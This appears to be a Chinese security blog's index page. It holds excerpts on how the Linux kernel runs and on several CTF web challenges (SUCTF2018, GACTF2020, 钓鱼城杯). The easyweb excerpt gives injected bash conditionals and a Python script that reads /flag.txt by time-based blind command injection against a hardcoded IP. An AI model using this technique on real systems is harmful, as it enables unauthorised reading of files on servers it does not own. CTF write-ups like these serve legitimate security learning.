0%

Linux内核运行方式

前两天被AA问了个问题,你觉得Linux的内核是一个进程吗
第一反应自然是一个进程,但是接下来就被问到了内核是一个进程的话,进程调度是怎么实现的,以进程来管理进程吗之类的问题
所以首先应该能给出答案,Linux的内核并不是一个进程
那么接下来就出现了第二个问题,内核并不是一个进程,那么如何做到进程调度,内存管理这些事情的呢

为此查了一个下午各种各样的资料

众所周知,一个进程拥有内核空间和用户空间两个空间,用户空间存放的就是进程自己的数据,代码,堆栈之类的东西,还有一个libc函数库,而内核空间则是映射到内核数据区。也就是说,内核数据在物理内存上只有一份,但是会在每个进程中映射一份,内核数据就是各个进程的进程控制块,操作系统的资源分配表,文件标识符之类的各种各样的资源,还有就是系统调用函数,以及一系列的内核相关函数。

只有在系统刚启动时,内核可能表现的像一个进程,当启动完成后,内核会启动一部分线程,提供相应的服务,这些进程可以在ps里面看到,都由方括号包裹起来,标识为内核启动的线程。而更多的情况下,内核表现的更像是一个巨大的函数库,也可以说内核是运行在用户进程里的,当用户进程发起系统调用时,进入内核态,这并不是说内核开始运行,而是用户进程调用内核函数,去访问内核数据。

阅读全文 »

[SUCTF2018]anonymous

SUCTF的老题,考的一个匿名函数

源码

<?php
$MY = create_function("","die(`dir`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}

创建一个匿名函数,然后使用eval再创建一个名字为随机字符串的函数调用我们的匿名函数
允许提交一个func_name去动态调用一个没参数的函数。

阅读全文 »

[SUCTF2018]GetShell

SUCTF的老题了,无字母数字加符号限制的命令执行

点upload之后会有一个act=upload,一开始以为有文件包含之类的,加目录伪协议试了半天,没太懂怎么回事,感觉是拼接了目录之后又限制了目录穿越,没有文件包含的机会了

题解

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 
阅读全文 »

[GACTF2020]web

EZFLASK

打开题目给一份残缺的源码


# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

ctfhint是图样图森破。。。。欺负人
admin的路由不知道,eval简单测试之后至尊过滤,' " () {} [] |全部过滤,然后也把稍微可能危险的关键字也全部过滤了,os re sy config app什么的各种各样的全没了,看得我头痛

阅读全文 »

[钓鱼城杯]easyweb

命令执行,post一个cmd,无回显不能连接外网。就是学一下shell语法,然后用时间盲注获得flag

题解

一开始提交了一下ls发现就返回一个200,不知道命令有没有执行,跑一个sleep 3,有明显延迟,证明存在命令执行,但是没有回显
试着弹一下shell,无果,用curl访问一下外网,无反应,证实不能连接外网。
那就只能用判断语句来搜集信息了
查一下shell语法
https://www.cnblogs.com/AloneSword/p/4489098.html
可以用if [ -f /flag.txt ]; then sleep 3; fi;硬猜出来了flag位置(运气比较好)
接下来就是测flag内容,同样用时间盲注
bash -c "if [[ \"$(cat /flag.txt)\" = flag{* ]]; then sleep 3; fi;"
这里一开始判断语句一直出问题,最后用了[[ “$()”” = reg ]]这种形式终于搞了出来,一开始没有加外层的bash -c,结果就一直执行不出来,一开始还以为是把cat之类的给禁了,换了几个类似的读文件命令还是不行,最后突然想起来是不是用的不是bash,加了一个bash -c之后可以用了
贴一个自动注入脚本

import requests
import time
str1 = "1234567890qwertyuiopasdfghjklzxcvbnm_-QWERTYUIOPASDFGHJKLZXCVBNM{}"
url = "http://119.3.37.185/"
payload = ""
for i in range(20):
    for s in str1:
        data = {"cmd": 'bash -c "if [[ \"$(cat /flag.txt)\" = %s* ]]; then sleep 3; fi;"' % (payload + s)}
        start = time.time()
        requests.post(url=url, data=data)
        end = time.time()
        if end - start > 3:
            payload += s
            print(payload)
print(data)
阅读全文 »